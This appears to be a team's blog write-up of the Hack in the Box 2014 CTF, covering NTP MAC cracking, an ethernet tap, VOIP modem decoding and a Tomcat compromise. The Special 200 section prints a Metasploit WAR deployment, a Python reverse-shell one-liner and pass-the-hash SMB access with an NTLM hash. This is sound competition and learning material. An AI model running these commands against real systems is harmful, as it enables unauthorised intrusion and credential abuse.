HitB 2014 CTF write ups
During the Hack in the Box Amsterdam 2014 conference we participated with the Hack.ERS team of Deloitte in the CTF game. The team included both me and Gijs from the Eindbazen team, while multiple other Eindbazen members organized the CTF. While this might sounds weird it actually meant that the organizing Eindbazen really liked to see us squirm while working on the challenges they created.
This write-up contains some of the challenges we solved during the CTF, I only created write-ups of the challenges for which I had enough notes.
Final scoreboard of the HitB 2014 CTF:
NET100
Mission description:
Our operatives found a shady company in a undisclosed country, the infrastructure seems hardened on the outside, but we’ve managed to place an sniffer between the Proxy and the DMZ. We’re looking for a special kind of password of which we suspect they re-use it in more critical parts of their infrastructure. Are you able to find the password? Time is of the Essence.
NOTE: flag format = “HITB{” + md5(password) + “}”
http://145.111.225.100/files/e492c475e4a2d22c8920ece0abe96b1ae8c809ef/net100.pcap
We tried multiple things to solve this challenge, including looking at the different TCP streams, looking at the time-stamps of all the packets etc.
We identified the following TCP streams in the pcap:
- tcp.stream eq 0 = SSH session
- tcp.stream eq 1 = APT update command
- tcp.stream eq 2 = APT update command
- tcp.stream eq 3 = download of openbsd ISO with wget
- tcp.stream eq 4 = APT upgrade command
- tcp.stream eq 5 = download of Knoppix ISO with wget
Analyzing these streams did not help us at all.
The description of the challenge seems to give a hint about time, which is one of the favorite things of the person who most likely made this challenge: Lucky.
After some time we noticed that there were NTP packets in the pcap as well. Actually the whole 300MB file seemed to be useless, we only needed to focus on around 12 NTP packets. Adding the extra amount of data to get people on the wrong track actually was quite annoying and unnecessary.
We exported the NTP packets to a new pcap file, which can be found here.
We did a lot of reading on the topic of NTP and how the packets are being created. During this time we actually stumbled across a paper of one of our co-workers which was also participating in the CTF and sitting a couple of tables away from us. The paper covered attacks on the NTP protocol.
It seemed that NTP makes use of a “Message Authentication Code”, which is generated from the packet combined with a shared password between the client and the server. It took quite some reading to get clear what data actually needed to be combined for this MAC. To be sure that we were doing it right we first tested our approach with an example NTP packet from Wireshark:
- http://wiki.wireshark.org/NTP
- http://wiki.wireshark.org/SampleCaptures?action=AttachFile&do=get&target=NTP_with_MD5_key_foobar.pcap
This sample capture contained the following packet
When we follow the instructions of how to create the MAC we indeed get the same MAC as in the packet:
# echo -en "foobar\x24\x03\x00\xec\x00\x00\x0c\x15\x00\x00\x19\x4e\x56\x3b\x2a\x02\xcc\x25\xda\xd1\x8a\x94\xcb\x10\xcc\x25\xcc\x13\x2b\x02\x10\x00\xcc\x25\xdf\x44\x62\xb3\x63\xb3\xcc\x25\xdf\x44\x62\xb8\x6e\xee" | md5sum 669f97c1f0f1eb77dcc0c57cec283141 -
So, it seemed we could calculate the MAC value for this specific packet. Now lets see if we can use this to find the password that was used in this challenge. To do so we wrote a small Perl script which would try all passwords from the famous rockyou wordlist.
use Digest::MD5 qw(md5_hex);
$packet = "\x24\x03\x03\xe9\x00\x00\x03\xfa\x00\x00\xfd\xc9\x57\xfd\x98\xbf\xd7\x24\xaf\x76\xf9\x17\x01\xe8\xd7\x24\xaf\x97\xfd\x1b\x4b\xc2\xd7\x24\xaf\x99\x47\xbc\xa9\x58\xd7\x24\xaf\x99\x47\xcc\xee\x11";
$hash = "4cfb71175c46fe97220b3d5e31c382dd";
open(FILE,"/usr/share/wordlists/rockyou.txt");
while (<FILE>) {
chomp($_);
$md5 = md5_hex($_.$packet);
if ($md5 eq $hash) {
print "FOUND: ".$_." = ".$hash."\n";
print "FLAG: HITB{".md5_hex($_)."}\n";
exit;
}
}
This script resulted in the following output and our flag:
# perl crack_net100.pl
FOUND: ramirez = 4cfb71175c46fe97220b3d5e31c382dd
FLAG: HITB{9f5cbf232cd3b8667024266c6f895c8c}
NET200
Mission description:
It appears most of our recruits are quite savvy when it comes to solving complex tasks based around software. So for this mission we want you to come out of your comfort zone and do some physical work in the field. We’ve managed to dig up an important ethernet link which is interconnecting two important base stations. Are you able to jack into this physical connection without disrupting any ongoing traffic or causing a (temporary) outage? Contact the GSI core team so we can escort you to the manhole from which we have access to the ethernet link.
Net200 was a real-life challenge. We got 30 minutes to perform this challenge and you only got one try, if you would screw up your chance was over.
The biggest challenge here was to do this challenge in one try. The 30 minute time limit was not much of an issue for us, but we wanted to make sure we would do this the right way the first time and not screw up.
After Googling for a while to search for information (and reading multiple papers which did not really help) we found the following link:
http://janitha.com/archives/146
This link told us exactly how to perform this challenge. Following this guide and being careful not to break the cable we managed to hook in to the cable. As soon as we connected the sniffing cable to our laptop and the ‘tap’ we received data in Wireshark.
In the PCAP data we found the following flag:
HITB{b47502c3ec21e446fa766ed89446a3b0}
After solving the challenge we were given the cable we created as a trophy.
Network 400
Mission description:
Our Detainee Interview Division has uncovered the password distribution mechanism employed by a terrorist cell. Although we have retrieved login credentials to the aforementioned mechanism, we have been unable to correctly interface with it. Find a way to interface with the device and retrieve the current password.
IP: 145.111.225.51 Username: 1337 Password: CorrectHorseBatteryStaple Extension: 100
Since we did not know how to connect to this system we threw a NMAP scan against it:
Scanning ip-145-111-225-51.ctf.bvb.hitb.nl (145.111.225.51) [1000 ports]
Discovered open port 22/tcp on 145.111.225.51
Discovered open port 2000/tcp on 145.111.225.51
Completed SYN Stealth Scan at 08:27, 0.05s elapsed (1000 total ports)
Nmap scan report for ip-145-111-225-51.ctf.bvb.hitb.nl (145.111.225.51)
Host is up (0.00076s latency).
Scanned at 2014-05-30 08:27:07 UTC for 0s
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
2000/tcp open cisco-sccp
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds
Raw packets sent: 1004 (44.152KB) | Rcvd: 1001 (40.036KB)
The open SSH port gave us an idea what the server was running on:
Connection to 145.111.225.51 22 port [tcp/*] succeeded! SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2
The port 2000 looked very interesting, and we looked up the cisco-sccp information, such as: http://en.wikipedia.org/wiki/Skinny_Call_Control_Protocol
This gave us the idea that this service might be a VOIP system.
We used egika to connect to the service. From the challenge description we got the Username: 1337, and Password: CorrectHorseBatteryStaple, as well as the Extension: 100.
After connecting to the VOIP system and placing a call to 100 we got a sound back which sounded like an old modem. We decided to use Wireshark to look further at the packets we received from the VOIP server. An example PCAP can be found here.
The VOIP packets should be RTP, however the PCAP shows them as UDP. To correctly recognize the packets as RTP we need to click on the UDP packets and (right mouse click) set Decode As–>RTP. After that we can use the Telephony menu–>RTP–>Stream Analysis. The following screen will then show up:
We can now use the “Save payload” option in the bottom left to export the sound of this RTP stream. The sound file we extracted from the example PCAP can be found here. This sound can be played with VLC player.
Since we can not hear what the sound tries to tell us we need to decode it. We could decode this sound file with the minimodem software:
root@attack:~# minimodem -r -f HitB_SIP_Call_audio.au 300 ### CARRIER 300 @ 1250.0 Hz ### Please prove that you're human and solve this simple equation: 52 + 31 = ? Use the following format in your reply: Answer:<your answer><CR><NL>
It seems that the VOIP server wants us to answer a simple question. Minimodem also allowed us to craft a reply and encode it:
root@attack:~# echo -en "Answer:42\r\n" | minimodem --write -f ~/answer42.au 300
The example answer file can be found here. The VOIP server would ask a different question every time we would connect.
Sadly enough this is how far we got when the CTF ended, so we were unable to script all the steps and get the flag in the end. The organisation checked the server and we were able to communicate with it, so we think we were pretty close.
Special 100
Mission description:
Our resident locksmiths have screwed up and we cannot get access to the cabinet storing all of GSI’s… cookies. We have moved the entire cabinet over to the TOOOL village at HAXPO. TOOOL phoned us this morning and asked if there’s any aspiring agents willing to help them break open the lock of the cabinet. Visit TOOOL, tell them you’re a GSI recruit.. and hopefully return with a (digital) cookie!
Special 100 was the opening of a lock at the Toool area on the Haxpo. Since we got some experience with lock picking we were quickly able to do this.
Special 200
Mission description:
Snowden has got new hardware sponsored by Wikileaks to host the obtained files which he stolen during his most recent NSA-hack. Snowden is configuring his new hardware as we speak. Your best chance to gain access to the secret files will be attacking now, while he might still be vulnerable.
IP: 145.111.225.10
We quickly found out that this server has a strange port open on port 7139, which seemed to be a HTTP server contain a Tomcat server. We quickly guessed the Tomcat credentials (tomcat/tomcat), after using these credentials you get acces to the admin interface where you can among other things deploy applications. To make live easier there is a Metasploit module which can exploit this for you in an easy way. We loaded Metasploit with the following options:
msf exploit(tomcat_mgr_deploy) > show options Module options (exploit/multi/http/tomcat_mgr_deploy): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD tomcat no The password for the specified username PATH /manager/html yes The URI path of the manager app (/deploy and /undeploy will be used) Proxies no Use a proxy chain RHOST 145.111.225.10 yes The target address RPORT 7139 yes The target port USERNAME tomcat no The username to authenticate as VHOST no HTTP server virtual host Payload options (java/meterpreter/reverse_https): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 145.111.248.25 yes The local listener hostname LPORT 8443 yes The local listener port Exploit target: Id Name -- ---- 1 Java Universal
However when we try this exploit we get the following error:
msf exploit(tomcat_mgr_deploy) > exploit [*] Started HTTPS reverse handler on https://0.0.0.0:8443/ [*] Using manually select target "Java Universal" [*] Uploading 7302 bytes as FwXGnmyCET5EMVYGmfNc.war ... [-] Exploit failed: Upload failed on /manager/html/deploy?path=/FwXGnmyCET5EMVYGmfNc [403 Forbidden]
We guessed this might had something to do with the the CSRF tokens that were included in the page. To bypass this problem we decided to just upload the file to the website ourselves. We still wanted to use the .war file generated with Metasploit so we adjusted the Ruby file in Metasploit for this module (/usr/local/share/metasploit-framework/modules/exploits/multi/http/tomcat_mgr_deploy.rb), we added one line to this file around line 188, just after the war file is being created:
File.open("/tmp/pwn.war", 'w') { |file| file.write(war) }
After adding this line the Metasploit module will write the created file to the /tmp/ directory. Since this file is connecting to a meterpreter session we created a listener with Metasploit:
use exploit/multi/handler set payload java/meterpreter/reverse_https set LHOST 145.111.248.25 set LPORT 8443 exploit -j
When we upload and run the .war file we got a Meterpreter shell. Since this was a really slow shell we created some new shells using the following one-liner:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("145.111.248.25",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'&
Now that we got access to the system it was the question how we would get access to the snowden files. We checked our id and the Linux version the system was running on.
id: uid=107(tomcat6) gid=113(tomcat6) groups=113(tomcat6) uname -a: Linux server 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:30:00 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
On the box we found credentials for another system on the network, the system 145.111.225.110, share secret, user share and a password hash. Sadly enough I do not remember where we found these credentials, but it might have been a history file or something. We could use the found credentials to run a passthehash connection to this system. Metasploit can use passthehash in the auxiliary/admin/smb/download_file module. We guessed the name of the flag file as ‘flag.txt’ which it indeed was.
msf auxiliary(download_file) > show options Module options (auxiliary/admin/smb/download_file): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 145.111.225.110 yes The target address RPATH flag.txt yes The name of the remote file relative to the share RPORT 445 yes Set the SMB service port SMBDomain WORKGROUP no The Windows domain to use for authentication SMBPass aad3b435b51404eeaad3b435b51404ee:8d2f0870f85b00f74e7f8099aff29982 no The password for the specified username SMBSHARE secret yes The name of a share on the RHOST SMBUser share no The username to authenticate as
When we run this module we get the flag:
msf auxiliary(download_file) > run
[*] Connecting to the 145.111.225.110:445...
[*] Mounting the remote share \\145.111.225.110\secret'...
[*] Trying to download flag.txt...
[+] flag.txt saved as: /root/.msf4/loot/20140530123441_default_145.111.225.110_smb.shares.file_527348.txt
[*] Auxiliary module execution completed
msf auxiliary(download_file) > cat /root/.msf4/loot/20140530123441_default_145.111.225.110_smb.shares.file_527348.txt
[*] exec: cat /root/.msf4/loot/20140530123441_default_145.111.225.110_smb.shares.file_527348.txt
HITB{f5da323406ae9d3d6cd488e19128730e}
Other challenges
For the following challenges I did not have any notes anymore, so I could not create write-ups, but to give you an idea about the challenges I added the challenge descriptions.
Bin100
Mission description:
We found a mysterious piece of software belonging to some of the most sought after hackers. We are confused by the purpose of this piece of software, it seems to blare weird lyrics till no end. There’s a rumour if you manage to sit through all of this banter there might be some key information we are urgently looking for. However, we are pressed for time like never before, so please hurry up!
NOTE: flag format “HITB{” + md5(answer) + “}”
http://145.111.225.100/files/7cc4105d1808bcc2df297eed59937aa23ebb9ff3/bin100.elf
Bin200
Mission description:
Here at the GSI we are very serious about keeping all of our clocks accurately and securely synchronized. To do so we have outsourced some work to create a secure atomic clock for internal usage. Unfortunately the company we hired to do this recently went bankrupt and all source code and schematics are lost. What is left is this mysterious piece of software that we have not been able to understand so far. Our engineers told us we have a working “access code” and we need the accompanying “authentication code”, can you help us?
DOWNLOAD
http://145.111.225.100/files/08a8b0e1c1e06bb598d58af26cfbae0a415afc4d/accalc
Bin400
Mission description:
Someone from the GSI core team managed to capture this interesting serial validation DRM scheme inside of a sophisticated MaaS (Malware-as-a-Service) sample. Our engineers have been trying tirelessly to generate a working serial for this piece of software in order to get back control over thousands of zombie machines. However, we have been unsuccesful so far.. can you help us out?
DOWNLOAD
http://145.111.225.100/files/14d6d27140dd78bda266d58faafb0a70c32409d8/leg.elf
Web100
Mission description:
We’re testing out the new frontend for our ARM disassembler. The GSI has recently acquired the dARM company and right now we’re in the progress of auditing the web frontend. So far this thing seems pretty spotless and 100% secure.. but maybe one of your agents can find a way to compromise the machine?
http://145.111.225.60:8000/
Web200
Mission description:
Someone seems to have compromised a front-facing part of our network. Our audits have shown that they did not manage to exfiltrate any important company data, phew. However, it looks like they left a small custom taunt in the form of a webpage on one of our servers. Before we delete the evidence we would like you to have a look at this taunt crafted by the guys who call themselves the “GSI Underground Cracking Force” (or GUCF in short) .. maybe it’s more than just a taunt and there’s a message embedded within?
http://145.111.225.61/
Web300
Mission description:
Janus International claims to be “a respected international accreditation body […] with over 3000 auditors”. However, no trace of such a company can be found in our records and we believe the website may be front to an Intelligence Command & Control Center. Find out whether this is the case and, if so, recover any messages already sent. The website can be found at: http://145.111.225.62
Crypto 100
Mission description:
Recently we’ve been outsourcing some of our certificate verification and generation to a company called PORTLAM. They provide us with state-of-the-art cryptographic services and integrity.
GSI is a loyal customer of PORTLAM’s services. Unfortunately, we’ve lost our certificate, could you help us recover it? Our client name is ‘GSI’…
http://145.111.225.30:5000/
Crypto 200
Mission description:
You have to be careful with what code you execute locally. Sometimes though it is the code that is picky on where it wants to be executed. Run this on a suitably trusted machine and it will simply give you the flag.
DOWNLOAD
Crypto 400
Mission description:
It is little known fact that Jeffrey Lebowski had a fondness for crypto. Even more interestingly it appears that Mr. Lebowski is sitting on some quality intel that we at the GSI would like to get our hands on. One of our special agents has managed to locate one of Lebowski’s custom crypto daemons.. but we’ve made little progress in breaking it so far. So here’s what *you* do:
1) Connect to his service (145.111.225.34:5076) 2) authenticate yourself and get flags for free! 3) ???? 4) PROFIT!
Unfortunately the flags appear to be encrypted…
DOWNLOAD
Misc 100
Mission description:
It appears some of our enemies have adopted a new way to cipher their written communications. We tried translating this sample back from latin to english, but ended up with something that makes little sense or is even vaguely coherent to any context. Perhaps you can find a way to deflate this nonsense back to something we understand..?
http://145.111.225.100/files/2fd92610e43e0e57aa1d516bcaa566a873e29f43/challenge.txt
Misc 200
Mission description:
We found this wave file on one of the intercepted USB disks and we think it might be loaded with some secret message. Our stego team wasn’t able to find anything after hours of research. Maybe you can have one of your audio engineers take a look at it?
NOTE: Flag format is “HITB{” + md5(lowercase(answer)) + “}”
http://145.111.225.100/files/9529c4668b5045b79b7ed7b6b13d8bd09f3e047e/lf_reloaded.wav
Special 400
Mission description:
We’ve got early access to a system developed by the Kosagi team. When we booted up the machine we realized that we’re stuck without a way to get root access on the machine. After hours of tireless bruteforcing we’ve managed to recover access to a low privileged ‘stage1’ account. Can you work your way up to the final stage?
ssh [email protected] password: i_am_new_here
Leave a Reply